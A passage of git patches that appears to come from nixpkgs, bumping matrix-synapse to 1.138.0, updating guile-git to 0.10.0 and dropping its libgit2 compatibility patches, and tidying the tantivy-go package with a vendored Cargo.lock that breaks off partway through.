From b0a1f1b2fb956e2b293efd80b8de878a391723ee Mon Sep 17 00:00:00 2001
From: transcaffeine <transcaffeine@finally.coffee>
Date: Tue, 9 Sep 2025 14:00:14 +0200
Subject: [PATCH 4418/4511] matrix-synapse: 1.137.0 -> 1.138.0

Release notes: https://github.com/element-hq/synapse/releases/tag/v1.138.0
Full changelog: https://github.com/element-hq/synapse/compare/v1.137.0...v1.138.0

(cherry picked from commit 226ca1c62067c31cf1fef251ea58d15949bfabb9)
---
 pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix b/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix
index 7e6410b3c4d8..0ed677508e72 100644
--- a/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix
+++ b/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix
@@ -17,19 +17,19 @@ let
 in
 python3.pkgs.buildPythonApplication rec {
   pname = "matrix-synapse";
-  version = "1.137.0";
+  version = "1.138.0";
   format = "pyproject";
 
   src = fetchFromGitHub {
     owner = "element-hq";
     repo = "synapse";
     rev = "v${version}";
-    hash = "sha256-jnbW1p5JK00Of6XqoDfWs/4SqIztafjkvXUDWhMTm30=";
+    hash = "sha256-mzBX5cLXF52p3SIq4rSvERbjyD07wRKVxL4yGsYNUaw=";
   };
 
   cargoDeps = rustPlatform.fetchCargoVendor {
     inherit pname version src;
-    hash = "sha256-qpgDErV1VVzaUHHQX4ReXCPihdrSKI/4HtbDeQIblR8=";
+    hash = "sha256-aUZUg8+1UlDzsxJN87Bk/DjD5WFcvHGVBRf1rIXKOZ4=";
   };
 
   postPatch = ''

From f817b3ddbec65653988f5fd6c0b832e330f83825 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Federico=20Dami=C3=A1n=20Schonborn?=
 <federicoschonborn@disroot.org>
Date: Fri, 11 Jul 2025 17:49:46 -0300
Subject: [PATCH 4419/4511] guile-git: 0.9.0 -> 0.10.0
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Signed-off-by: Federico Damián Schonborn <federicoschonborn@disroot.org>

(cherry-picked from commit 92db76bf5e378d0c9ba41728014be4c3e8b731e4)
---
 ...e-field-from-config-entry-on-libgit2.patch | 80 ------------------
 ...te-refs-field-to-remote-callbacks-on.patch | 84 -------------------
 pkgs/by-name/gu/guile-git/package.nix         | 23 ++---
 3 files changed, 9 insertions(+), 178 deletions(-)
 delete mode 100644 pkgs/by-name/gu/guile-git/0001-structs-Omit-free-field-from-config-entry-on-libgit2.patch
 delete mode 100644 pkgs/by-name/gu/guile-git/0002-structs-Add-update-refs-field-to-remote-callbacks-on.patch

diff --git a/pkgs/by-name/gu/guile-git/0001-structs-Omit-free-field-from-config-entry-on-libgit2.patch b/pkgs/by-name/gu/guile-git/0001-structs-Omit-free-field-from-config-entry-on-libgit2.patch
deleted file mode 100644
index ce3db57c0bf9..000000000000
--- a/pkgs/by-name/gu/guile-git/0001-structs-Omit-free-field-from-config-entry-on-libgit2.patch
+++ /dev/null
@@ -1,80 +0,0 @@
-From cc70ed70b19a712babd834806d6fc700b20c020a Mon Sep 17 00:00:00 2001
-From: Emily <hello@emily.moe>
-Date: Wed, 22 Jan 2025 23:25:51 +0000
-Subject: [PATCH 1/2] =?UTF-8?q?structs:=20Omit=20=E2=80=98free=E2=80=99=20?=
- =?UTF-8?q?field=20from=20=E2=80=98%config-entry=E2=80=99=20on=20libgit2?=
- =?UTF-8?q?=201.9+.?=
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-* configure.ac: Check for the ‘free’ field of ‘git_config_entry’.
-* git/configuration.scm.in (%have-config-entry-free?): New variable.
-* git/structs.scm (%config-entry): Omit ‘free’ field conditionally.
----
- configure.ac             | 10 ++++++++++
- git/configuration.scm.in |  4 ++++
- git/structs.scm          |  4 +++-
- 3 files changed, 17 insertions(+), 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index b04ca6b..7f8f0b9 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -87,6 +87,16 @@ else
- fi
- AC_SUBST([HAVE_CONFIG_ENTRY_BACKEND_TYPE])
- 
-+dnl Does 'git_config_entry' have 'free'?  Removed in 1.9.
-+AC_CHECK_MEMBER([git_config_entry.free], [], [],
-+  [[#include <git2.h>]])
-+if test "x$ac_cv_member_git_config_entry_free" = "xyes"; then
-+  HAVE_CONFIG_ENTRY_FREE="#true"
-+else
-+  HAVE_CONFIG_ENTRY_FREE="#false"
-+fi
-+AC_SUBST([HAVE_CONFIG_ENTRY_FREE])
-+
- dnl Does 'git_diff_options' have 'oid_type'? It's new in 1.7.
- AC_CHECK_MEMBER([git_diff_options.oid_type], [], [],
-   [[#include <git2.h>]])
-diff --git a/git/configuration.scm.in b/git/configuration.scm.in
-index e10b195..864b9ff 100644
---- a/git/configuration.scm.in
-+++ b/git/configuration.scm.in
-@@ -24,6 +24,7 @@
-             %have-fetch-options-depth?
-             %have-diff-options-oid-type?
-             %have-config-entry-backend-type?
-+            %have-config-entry-free?
-             %have-GIT_OPT_SET_SERVER_CONNECT_TIMEOUT?
-             %have-GIT_OPT_SET_HOMEDIR?
-             %have-GIT_OPT_SET_USER_AGENT_PRODUCT?))
-@@ -48,6 +49,9 @@
- (define %have-config-entry-backend-type?
-   @HAVE_CONFIG_ENTRY_BACKEND_TYPE@)
- 
-+(define %have-config-entry-free?
-+  @HAVE_CONFIG_ENTRY_FREE@)
-+
- (define %have-GIT_OPT_SET_SERVER_CONNECT_TIMEOUT?
-   @HAVE_GIT_OPT_SET_SERVER_CONNECT_TIMEOUT@)
- 
-diff --git a/git/structs.scm b/git/structs.scm
-index beebd11..b35ae6d 100644
---- a/git/structs.scm
-+++ b/git/structs.scm
-@@ -505,7 +505,9 @@
-                      '())
-                (include-depth ,unsigned-int)
-                (level ,int)                       ;git_config_level_t
--               (free ,(bs:pointer int))
-+               ,@(if %have-config-entry-free?
-+                     `(free ,(bs:pointer int))
-+                     '())
-                ,@(if %have-config-entry-backend-type?
-                      '()
-                      `((payload ,(bs:pointer int))))))) ;removed in 1.8
--- 
-2.47.0
-
diff --git a/pkgs/by-name/gu/guile-git/0002-structs-Add-update-refs-field-to-remote-callbacks-on.patch b/pkgs/by-name/gu/guile-git/0002-structs-Add-update-refs-field-to-remote-callbacks-on.patch
deleted file mode 100644
index 34de2004bb43..000000000000
--- a/pkgs/by-name/gu/guile-git/0002-structs-Add-update-refs-field-to-remote-callbacks-on.patch
+++ /dev/null
@@ -1,84 +0,0 @@
-From 595b850c85f55592b94d2218a12084fd7050b508 Mon Sep 17 00:00:00 2001
-From: Emily <hello@emily.moe>
-Date: Wed, 22 Jan 2025 23:55:45 +0000
-Subject: [PATCH 2/2] =?UTF-8?q?structs:=20Add=20=E2=80=98update-refs?=
- =?UTF-8?q?=E2=80=99=20field=20to=20=E2=80=98%remote-callbacks=E2=80=99=20?=
- =?UTF-8?q?on=20libgit2=201.9+.?=
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-* configure.ac: Check for the ‘update_refs’ field of
-‘git_remote_callbacks’.
-* git/configuration.scm.in (%have-remote-callbacks-update-refs?): New
-variable.
-* git/structs.scm (%remote-callbacks): Add ‘update-refs’ field
-conditionally.
----
- configure.ac             | 10 ++++++++++
- git/configuration.scm.in |  4 ++++
- git/structs.scm          |  5 ++++-
- 3 files changed, 18 insertions(+), 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index 7f8f0b9..a2575f4 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -107,6 +107,16 @@ else
- fi
- AC_SUBST([HAVE_DIFF_OPTIONS_OID_TYPE])
- 
-+dnl Does 'git_remote_callbacks' have 'update_refs'?  New in 1.9.
-+AC_CHECK_MEMBER([git_remote_callbacks.update_refs], [], [],
-+  [[#include <git2.h>]])
-+if test "x$ac_cv_member_git_remote_callbacks_update_refs" = "xyes"; then
-+  HAVE_REMOTE_CALLBACKS_UPDATE_REFS="#true"
-+else
-+  HAVE_REMOTE_CALLBACKS_UPDATE_REFS="#false"
-+fi
-+AC_SUBST([HAVE_REMOTE_CALLBACKS_UPDATE_REFS])
-+
- dnl 'GIT_OPT_SET_SERVER_CONNECT_TIMEOUT' & co. are new in 1.7.
- GUILE_GIT_CHECK_DECLARATION([GIT_OPT_SET_SERVER_CONNECT_TIMEOUT])
- 
-diff --git a/git/configuration.scm.in b/git/configuration.scm.in
-index 864b9ff..1e82c24 100644
---- a/git/configuration.scm.in
-+++ b/git/configuration.scm.in
-@@ -25,6 +25,7 @@
-             %have-diff-options-oid-type?
-             %have-config-entry-backend-type?
-             %have-config-entry-free?
-+            %have-remote-callbacks-update-refs?
-             %have-GIT_OPT_SET_SERVER_CONNECT_TIMEOUT?
-             %have-GIT_OPT_SET_HOMEDIR?
-             %have-GIT_OPT_SET_USER_AGENT_PRODUCT?))
-@@ -52,6 +53,9 @@
- (define %have-config-entry-free?
-   @HAVE_CONFIG_ENTRY_FREE@)
- 
-+(define %have-remote-callbacks-update-refs?
-+  @HAVE_REMOTE_CALLBACKS_UPDATE_REFS@)
-+
- (define %have-GIT_OPT_SET_SERVER_CONNECT_TIMEOUT?
-   @HAVE_GIT_OPT_SET_SERVER_CONNECT_TIMEOUT@)
- 
-diff --git a/git/structs.scm b/git/structs.scm
-index b35ae6d..664a7c1 100644
---- a/git/structs.scm
-+++ b/git/structs.scm
-@@ -670,7 +670,10 @@ type to 'specified for this to take effect."
-                (transport ,(bs:pointer uint8))
-                (remote-ready ,(bs:pointer void))
-                (payload ,(bs:pointer uint8))
--               (resolve-url ,(bs:pointer uint8)))))
-+               (resolve-url ,(bs:pointer uint8))
-+               ,@(if %have-remote-callbacks-update-refs?
-+                     `((update-refs ,(bs:pointer uint8)))
-+                     '()))))
- 
- (define-record-type <remote-callbacks>
-   (%make-remote-callbacks bytestructure)
--- 
-2.47.0
-
diff --git a/pkgs/by-name/gu/guile-git/package.nix b/pkgs/by-name/gu/guile-git/package.nix
index cf9c2cc02654..cd7ddae16674 100644
--- a/pkgs/by-name/gu/guile-git/package.nix
+++ b/pkgs/by-name/gu/guile-git/package.nix
@@ -10,22 +10,17 @@
   texinfo,
 }:
 
-stdenv.mkDerivation rec {
+stdenv.mkDerivation (finalAttrs: {
   pname = "guile-git";
-  version = "0.9.0";
+  version = "0.10.0";
 
   src = fetchFromGitLab {
     owner = "guile-git";
-    repo = pname;
-    rev = "v${version}";
-    hash = "sha256-lFBoA1VBJRHcZkP3h2gnlXQrMjDFWS4jl9RlF8VVf/Q=";
+    repo = "guile-git";
+    tag = "v${finalAttrs.version}";
+    hash = "sha256-ihKpEnng6Uemrguecbd25vElEhIu2Efb86aM8679TAc=";
   };
 
-  patches = [
-    ./0001-structs-Omit-free-field-from-config-entry-on-libgit2.patch
-    ./0002-structs-Add-update-refs-field-to-remote-callbacks-on.patch
-  ];
-
   strictDeps = true;
   nativeBuildInputs = [
     autoreconfHook
@@ -52,11 +47,11 @@ stdenv.mkDerivation rec {
 
   __darwinAllowLocalNetworking = true;
 
-  meta = with lib; {
+  meta = {
     description = "Bindings to Libgit2 for GNU Guile";
     homepage = "https://gitlab.com/guile-git/guile-git";
-    license = licenses.gpl3Plus;
-    maintainers = with maintainers; [ ethancedwards8 ];
+    license = lib.licenses.gpl3Plus;
+    maintainers = with lib.maintainers; [ ethancedwards8 ];
     platforms = guile.meta.platforms;
   };
-}
+})

From cfbb4ef7fa3b4b1443004f33376c59830ceca30e Mon Sep 17 00:00:00 2001
From: Kira Bruneau <kira.bruneau@pm.me>
Date: Sun, 7 Sep 2025 20:51:07 -0400
Subject: [PATCH 4420/4511] tantivy-go: add kira-bruneau as maintainer

(cherry picked from commit de771967db9ec32b2bf14c8a2e0986a5161a282b)
---
 pkgs/by-name/ta/tantivy-go/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/ta/tantivy-go/package.nix b/pkgs/by-name/ta/tantivy-go/package.nix
index b4c98758213d..9de1f1a9ee12 100644
--- a/pkgs/by-name/ta/tantivy-go/package.nix
+++ b/pkgs/by-name/ta/tantivy-go/package.nix
@@ -31,6 +31,7 @@ rustPlatform.buildRustPackage rec {
     maintainers = with lib.maintainers; [
       autrimpo
       adda
+      kira-bruneau
     ];
   };
 }

From 41d11f30f1043b52e373e4294d54ac9660f3e1b6 Mon Sep 17 00:00:00 2001
From: Kira Bruneau <kira.bruneau@pm.me>
Date: Sun, 7 Sep 2025 20:44:30 -0400
Subject: [PATCH 4421/4511] tantivy-go: use finalAttrs

(cherry picked from commit f2de20805aac97659865253acbad6e621d5ea7a6)
---
 pkgs/by-name/ta/tantivy-go/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/ta/tantivy-go/package.nix b/pkgs/by-name/ta/tantivy-go/package.nix
index 9de1f1a9ee12..9cc986c87a6f 100644
--- a/pkgs/by-name/ta/tantivy-go/package.nix
+++ b/pkgs/by-name/ta/tantivy-go/package.nix
@@ -4,14 +4,14 @@
   rustPlatform,
 }:
 
-rustPlatform.buildRustPackage rec {
+rustPlatform.buildRustPackage (finalAttrs: {
   pname = "tantivy-go";
   version = "1.0.4";
 
   src = fetchFromGitHub {
     owner = "anyproto";
     repo = "tantivy-go";
-    tag = "v${version}";
+    tag = "v${finalAttrs.version}";
     hash = "sha256-ksHw+62JwQrzxLuXwYfTLOkC22Miz1Rpl5XX8+vPBcM=";
   };
 
@@ -22,7 +22,7 @@ rustPlatform.buildRustPackage rec {
   ];
 
   cargoRoot = "rust";
-  buildAndTestSubdir = cargoRoot;
+  buildAndTestSubdir = finalAttrs.cargoRoot;
 
   meta = {
     description = "Tantivy go bindings";
@@ -34,4 +34,4 @@ rustPlatform.buildRustPackage rec {
       kira-bruneau
     ];
   };
-}
+})

From ad95a66dd14971ad300d736662f92a5a9331e801 Mon Sep 17 00:00:00 2001
From: Kira Bruneau <kira.bruneau@pm.me>
Date: Sun, 7 Sep 2025 22:34:47 -0400
Subject: [PATCH 4422/4511] tantivy-go: add changelog

(cherry picked from commit 51b9f74ff40d43540a2c4a8d183c704c1ee05792)
---
 pkgs/by-name/ta/tantivy-go/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/ta/tantivy-go/package.nix b/pkgs/by-name/ta/tantivy-go/package.nix
index 9cc986c87a6f..f9c85be817f5 100644
--- a/pkgs/by-name/ta/tantivy-go/package.nix
+++ b/pkgs/by-name/ta/tantivy-go/package.nix
@@ -27,6 +27,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
   meta = {
     description = "Tantivy go bindings";
     homepage = "https://github.com/anyproto/tantivy-go";
+    changelog = "https://github.com/anyproto/tantivy-go/releases/tag/${finalAttrs.src.tag}";
     license = lib.licenses.mit;
     maintainers = with lib.maintainers; [
       autrimpo

From de0a60ceac0dd1c0d429cc8730d8f4ac16db2850 Mon Sep 17 00:00:00 2001
From: Kira Bruneau <kira.bruneau@pm.me>
Date: Sun, 7 Sep 2025 20:42:49 -0400
Subject: [PATCH 4423/4511] tantivy-go: use importCargoLock to simplify adding
 Cargo.lock

(cherry picked from commit bf4dcf9e0b72b1b84e0ef8c8673debd2bf380983)
---
 pkgs/by-name/ta/tantivy-go/Cargo.lock         | 1908 ++++++++++++++++
 .../ta/tantivy-go/add-Cargo.lock.patch        | 1914 -----------------
 pkgs/by-name/ta/tantivy-go/package.nix        |   19 +-
 3 files changed, 1921 insertions(+), 1920 deletions(-)
 create mode 100644 pkgs/by-name/ta/tantivy-go/Cargo.lock
 delete mode 100644 pkgs/by-name/ta/tantivy-go/add-Cargo.lock.patch

diff --git a/pkgs/by-name/ta/tantivy-go/Cargo.lock b/pkgs/by-name/ta/tantivy-go/Cargo.lock
new file mode 100644
index 000000000000..6717372fa0f3
--- /dev/null
+++ b/pkgs/by-name/ta/tantivy-go/Cargo.lock
@@ -0,0 +1,1908 @@
+# This file is automatically @generated by Cargo.
+# It is not intended for manual editing.
+version = 4
+
+[[package]]
+name = "adler32"
+version = "1.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "aae1277d39aeec15cb388266ecc24b11c80469deae6067e17a1a7aa9e5c1f234"
+
+[[package]]
+name = "ahash"
+version = "0.8.12"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5a15f179cd60c4584b8a8c596927aadc462e27f2ca70c04e0071964a73ba7a75"
+dependencies = [
+ "cfg-if",
+ "once_cell",
+ "version_check",
+ "zerocopy",
+]
+
+[[package]]
+name = "aho-corasick"
+version = "1.1.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8e60d3430d3a69478ad0993f19238d2df97c507009a52b3c10addcd7f6bcb916"
+dependencies = [
+ "memchr",
+]
+
+[[package]]
+name = "allocator-api2"
+version = "0.2.21"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "683d7910e743518b0e34f1186f92494becacb047c7b6bf616c96772180fef923"
+
+[[package]]
+name = "anstream"
+version = "0.6.20"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3ae563653d1938f79b1ab1b5e668c87c76a9930414574a6583a7b7e11a8e6192"
+dependencies = [
+ "anstyle",
+ "anstyle-parse",
+ "anstyle-query",
+ "anstyle-wincon",
+ "colorchoice",
+ "is_terminal_polyfill",
+ "utf8parse",
+]
+
+[[package]]
+name = "anstyle"
+version = "1.0.11"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "862ed96ca487e809f1c8e5a8447f6ee2cf102f846893800b20cebdf541fc6bbd"
+
+[[package]]
+name = "anstyle-parse"
+version = "0.2.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4e7644824f0aa2c7b9384579234ef10eb7efb6a0deb83f9630a49594dd9c15c2"
+dependencies = [
+ "utf8parse",
+]
+
+[[package]]
+name = "anstyle-query"
+version = "1.1.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9e231f6134f61b71076a3eab506c379d4f36122f2af15a9ff04415ea4c3339e2"
+dependencies = [
+ "windows-sys 0.60.2",
+]
+
+[[package]]
+name = "anstyle-wincon"
+version = "3.0.10"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3e0633414522a32ffaac8ac6cc8f748e090c5717661fddeea04219e2344f5f2a"
+dependencies = [
+ "anstyle",
+ "once_cell_polyfill",
+ "windows-sys 0.60.2",
+]
+
+[[package]]
+name = "arc-swap"
+version = "1.7.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "69f7f8c3906b62b754cd5326047894316021dcfe5a194c8ea52bdd94934a3457"
+
+[[package]]
+name = "async-trait"
+version = "0.1.88"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e539d3fca749fcee5236ab05e93a52867dd549cc157c8cb7f99595f3cedffdb5"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.104",
+]
+
+[[package]]
+name = "autocfg"
+version = "1.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c08606f8c3cbf4ce6ec8e28fb0014a2c086708fe954eaa885384a6165172e7e8"
+
+[[package]]
+name = "base64"
+version = "0.22.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6"
+
+[[package]]
+name = "bitflags"
+version = "2.9.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1b8e56985ec62d17e9c1001dc89c88ecd7dc08e47eba5ec7c29c7b5eeecde967"
+
+[[package]]
+name = "bitpacking"
+version = "0.9.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4c1d3e2bfd8d06048a179f7b17afc3188effa10385e7b00dc65af6aae732ea92"
+dependencies = [
+ "crunchy",
+]
+
+[[package]]
+name = "bon"
+version = "3.6.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "33d9ef19ae5263a138da9a86871eca537478ab0332a7770bac7e3f08b801f89f"
+dependencies = [
+ "bon-macros",
+ "rustversion",
+]
+
+[[package]]
+name = "bon-macros"
+version = "3.6.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "577ae008f2ca11ca7641bd44601002ee5ab49ef0af64846ce1ab6057218a5cc1"
+dependencies = [
+ "darling",
+ "ident_case",
+ "prettyplease",
+ "proc-macro2",
+ "quote",
+ "rustversion",
+ "syn 2.0.104",
+]
+
+[[package]]
+name = "bumpalo"
+version = "3.19.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "46c5e41b57b8bba42a04676d81cb89e9ee8e859a1a66f80a5a72e1cb76b34d43"
+
+[[package]]
+name = "byteorder"
+version = "1.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b"
+
+[[package]]
+name = "cbindgen"
+version = "0.28.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "eadd868a2ce9ca38de7eeafdcec9c7065ef89b42b32f0839278d55f35c54d1ff"
+dependencies = [
+ "clap",
+ "heck",
+ "indexmap",
+ "log",
+ "proc-macro2",
+ "quote",
+ "serde",
+ "serde_json",
+ "syn 2.0.104",
+ "tempfile",
+ "toml",
+]
+
+[[package]]
+name = "cc"
+version = "1.2.32"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2352e5597e9c544d5e6d9c95190d5d27738ade584fa8db0a16e130e5c2b5296e"
+dependencies = [
+ "jobserver",
+ "libc",
+ "shlex",
+]
+
+[[package]]
+name = "cedarwood"
+version = "0.4.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6d910bedd62c24733263d0bed247460853c9d22e8956bd4cd964302095e04e90"
+dependencies = [
+ "smallvec",
+]
+
+[[package]]
+name = "census"
+version = "0.4.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4f4c707c6a209cbe82d10abd08e1ea8995e9ea937d2550646e02798948992be0"
+
+[[package]]
+name = "cfg-if"
+version = "1.0.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9555578bc9e57714c812a1f84e4fc5b4d21fcb063490c624de019f7464c91268"
+
+[[package]]
+name = "clap"
+version = "4.5.43"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "50fd97c9dc2399518aa331917ac6f274280ec5eb34e555dd291899745c48ec6f"
+dependencies = [
+ "clap_builder",
+]
+
+[[package]]
+name = "clap_builder"
+version = "4.5.43"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c35b5830294e1fa0462034af85cc95225a4cb07092c088c55bda3147cfcd8f65"
+dependencies = [
+ "anstream",
+ "anstyle",
+ "clap_lex",
+ "strsim",
+]
+
+[[package]]
+name = "clap_lex"
+version = "0.7.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b94f61472cee1439c0b966b47e3aca9ae07e45d070759512cd390ea2bebc6675"
+
+[[package]]
+name = "colorchoice"
+version = "1.0.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b05b61dc5112cbb17e4b6cd61790d9845d13888356391624cbe7e41efeac1e75"
+
+[[package]]
+name = "core2"
+version = "0.4.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b49ba7ef1ad6107f8824dbe97de947cbaac53c44e7f9756a1fba0d37c1eec505"
+dependencies = [
+ "memchr",
+]
+
+[[package]]
+name = "crc32fast"
+version = "1.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9481c1c90cbf2ac953f07c8d4a58aa3945c425b7185c9154d67a65e4230da511"
+dependencies = [
+ "cfg-if",
+]
+
+[[package]]
+name = "crossbeam-channel"
+version = "0.5.15"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "82b8f8f868b36967f9606790d1903570de9ceaf870a7bf9fbbd3016d636a2cb2"
+dependencies = [
+ "crossbeam-utils",
+]
+
+[[package]]
+name = "crossbeam-deque"
+version = "0.8.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9dd111b7b7f7d55b72c0a6ae361660ee5853c9af73f70c3c2ef6858b950e2e51"
+dependencies = [
+ "crossbeam-epoch",
+ "crossbeam-utils",
+]
+
+[[package]]
+name = "crossbeam-epoch"
+version = "0.9.18"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5b82ac4a3c2ca9c3460964f020e1402edd5753411d7737aa39c3714ad1b5420e"
+dependencies = [
+ "crossbeam-utils",
+]
+
+[[package]]
+name = "crossbeam-utils"
+version = "0.8.21"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d0a5c400df2834b80a4c3327b3aad3a4c4cd4de0629063962b03235697506a28"
+
+[[package]]
+name = "crunchy"
+version = "0.2.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7a81dae078cea95a014a339291cec439d2f232ebe854a9d672b796c6afafa9b7"
+
+[[package]]
+name = "darling"
+version = "0.21.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d6b136475da5ef7b6ac596c0e956e37bad51b85b987ff3d5e230e964936736b2"
+dependencies = [
+ "darling_core",
+ "darling_macro",
+]
+
+[[package]]
+name = "darling_core"
+version = "0.21.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b44ad32f92b75fb438b04b68547e521a548be8acc339a6dacc4a7121488f53e6"
+dependencies = [
+ "fnv",
+ "ident_case",
+ "proc-macro2",
+ "quote",
+ "strsim",
+ "syn 2.0.104",
+]
+
+[[package]]
+name = "darling_macro"
+version = "0.21.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2b5be8a7a562d315a5b92a630c30cec6bcf663e6673f00fbb69cca66a6f521b9"
+dependencies = [
+ "darling_core",
+ "quote",
+ "syn 2.0.104",
+]
+
+[[package]]
+name = "dary_heap"
+version = "0.3.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "04d2cd9c18b9f454ed67da600630b021a8a80bf33f8c95896ab33aaf1c26b728"
+
+[[package]]
+name = "deranged"
+version = "0.4.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9c9e6a11ca8224451684bc0d7d5a7adbf8f2fd6887261a1cfc3c0432f9d4068e"
+dependencies = [
+ "powerfmt",
+ "serde",
+]
+
+[[package]]
+name = "downcast-rs"
+version = "2.0.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ea8a8b81cacc08888170eef4d13b775126db426d0b348bee9d18c2c1eaf123cf"
+
+[[package]]
+name = "either"
+version = "1.15.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "48c757948c5ede0e46177b7add2e67155f70e33c07fea8284df6576da70b3719"
+
+[[package]]
+name = "env_filter"
+version = "0.1.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "186e05a59d4c50738528153b83b0b0194d3a29507dfec16eccd4b342903397d0"
+dependencies = [
+ "log",
+ "regex",
+]
+
+[[package]]
+name = "env_logger"
+version = "0.11.8"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "13c863f0904021b108aa8b2f55046443e6b1ebde8fd4a15c399893aae4fa069f"
+dependencies = [
+ "anstream",
+ "anstyle",
+ "env_filter",
+ "jiff",
+ "log",
+]
+
+[[package]]
+name = "equivalent"
+version = "1.0.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f"
+
+[[package]]
+name = "errno"
+version = "0.3.13"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "778e2ac28f6c47af28e4907f13ffd1e1ddbd400980a9abd7c8df189bf578a5ad"
+dependencies = [
+ "libc",
+ "windows-sys 0.60.2",
+]
+
+[[package]]
+name = "fastdivide"
+version = "0.4.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9afc2bd4d5a73106dd53d10d73d3401c2f32730ba2c0b93ddb888a8983680471"
+
+[[package]]
+name = "fastrand"
+version = "2.3.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "37909eebbb50d72f9059c3b6d82c0463f2ff062c9e95845c43a6c9c0355411be"
+
+[[package]]
+name = "fnv"
+version = "1.0.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1"
+
+[[package]]
+name = "foldhash"
+version = "0.1.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d9c4f5dac5e15c24eb999c26181a6ca40b39fe946cbe4c263c7209467bc83af2"
+
+[[package]]
+name = "fs4"
+version = "0.8.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f7e180ac76c23b45e767bd7ae9579bc0bb458618c4bc71835926e098e61d15f8"
+dependencies = [
+ "rustix 0.38.44",
+ "windows-sys 0.52.0",
+]
+
+[[package]]
+name = "futures-core"
+version = "0.3.31"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "05f29059c0c2090612e8d742178b0580d2dc940c837851ad723096f87af6663e"
+
+[[package]]
+name = "futures-macro"
+version = "0.3.31"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "162ee34ebcb7c64a8abebc059ce0fee27c2262618d7b60ed8faf72fef13c3650"
+dependencies = [
+ "proc-macro2",
